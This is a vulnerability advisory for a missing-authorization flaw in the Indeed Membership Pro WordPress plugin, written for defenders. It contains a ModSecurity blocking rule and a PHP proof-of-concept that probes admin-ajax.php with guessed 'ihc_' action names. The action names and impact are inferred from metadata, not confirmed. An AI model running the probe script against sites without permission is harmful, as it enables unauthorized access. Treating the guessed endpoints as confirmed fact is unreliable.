Atomic Edge analysis of CVE-2026-25357 (metadata-based):
This vulnerability in the Indeed Membership Pro WordPress plugin allows unauthenticated attackers to perform unauthorized actions due to missing authorization checks. The plugin’s AJAX or REST API handlers lack proper capability verification, enabling privilege escalation or unauthorized data modification. With a CVSS score of 5.3 (Medium severity), this vulnerability affects all plugin versions up to and including 13.7.
Atomic Edge research identifies the root cause as CWE-862 Missing Authorization. The vulnerability description confirms a missing capability check on a function. Without source code, we infer this involves a WordPress hook (likely wp_ajax_nopriv_ or wp_ajax_) that processes requests without verifying user permissions. The function may handle membership operations, user data, or plugin settings. This inference aligns with WordPress plugin patterns where AJAX endpoints sometimes omit current_user_can() checks.
Exploitation requires sending crafted HTTP requests to WordPress AJAX endpoints. Attackers target /wp-admin/admin-ajax.php with an action parameter matching the vulnerable hook. The action likely contains the plugin slug prefix ‘ihc_’ or ‘indeed_membership_’. No authentication cookies or nonces are needed. Example payloads include POST requests with parameters like action=ihc_update_setting or action=indeed_membership_modify_user. Attackers can brute-force common action names derived from the plugin’s functionality.
Remediation requires adding proper capability checks before executing sensitive functions. The patched version 13.7.1 likely added current_user_can() validation with appropriate capabilities like ‘manage_options’ or custom plugin capabilities. Developers should also implement nonce verification for state-changing operations. WordPress security best practices mandate checking both capabilities and nonces for all AJAX handlers accessible to unauthenticated users.
Successful exploitation enables unauthorized plugin actions. Attackers could modify membership levels, change subscription settings, or alter user privileges. While the CVSS vector indicates no confidentiality impact (C:N) and low integrity impact (I:L), Atomic Edge analysis suggests potential business logic disruption. Attackers might grant themselves premium memberships, modify payment configurations, or disable security features. The exact impact depends on which specific function lacks authorization.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25357 (metadata-based)
# This rule blocks unauthenticated access to Indeed Membership Pro AJAX endpoints
# that lack proper authorization checks. The rule targets the plugin's AJAX handlers
# while allowing legitimate authenticated requests through.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202625357,phase:2,deny,status:403,chain,msg:'CVE-2026-25357: Indeed Membership Pro Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-25357',tag:'WordPress',tag:'Plugin/indeed-membership-pro',tag:'Attack/AuthorizationBypass'"
SecRule ARGS_POST:action "@rx ^(ihc_|indeed_membership_)" "chain"
SecRule &REQUEST_COOKIES:'/^wordpress_(?!test_cookie)/' "@eq 0"
"t:none,setvar:'tx.cve_2026_25357_block=1'"
# Alternative rule for GET requests (less common but possible)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202625358,phase:2,deny,status:403,chain,msg:'CVE-2026-25357: Indeed Membership Pro Missing Authorization via AJAX GET',severity:'CRITICAL',tag:'CVE-2026-25357',tag:'WordPress',tag:'Plugin/indeed-membership-pro'"
SecRule ARGS_GET:action "@rx ^(ihc_|indeed_membership_)" "chain"
SecRule &REQUEST_COOKIES:'/^wordpress_(?!test_cookie)/' "@eq 0"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25357 - Indeed Membership Pro <= 13.7 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-25357
* This script demonstrates unauthorized access to Indeed Membership Pro plugin endpoints.
* Assumptions based on WordPress plugin patterns:
* 1. Vulnerable endpoint is /wp-admin/admin-ajax.php
* 2. Action parameter uses plugin prefix 'ihc_' or 'indeed_'
* 3. No authentication or nonce required
* 4. Common vulnerable actions relate to membership operations
*/
$target_url = "https://vulnerable-site.com"; // CHANGE THIS
// Common action names derived from plugin slug and functionality
$potential_actions = [
'ihc_update_settings',
'ihc_save_membership',
'ihc_delete_user_level',
'indeed_membership_update',
'indeed_membership_save',
'ihc_ajax',
'indeed_membership_ajax'
];
echo "[+] Testing CVE-2026-25357 on $target_urlnn";
foreach ($potential_actions as $action) {
$url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
'action' => $action,
'test_param' => 'atomic_edge_test'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Action: $actionn";
echo "HTTP Code: $http_coden";
// Check for successful execution (not 403/404 and contains plugin-like response)
if ($http_code == 200 && $response !== false) {
if (strpos($response, 'error') === false &&
(strpos($response, 'success') !== false ||
strpos($response, 'ihc') !== false ||
strlen($response) > 10)) {
echo "[!] POTENTIALLY VULNERABLE ENDPOINT DETECTEDn";
echo "Response preview: " . substr($response, 0, 200) . "...n";
}
}
echo "---n";
curl_close($ch);
sleep(1); // Rate limiting
}
echo "n[+] PoC complete. Manual verification required for any detected endpoints.n";
echo "[+] Note: This PoC tests common patterns. Actual vulnerable action may differ.n";
?>
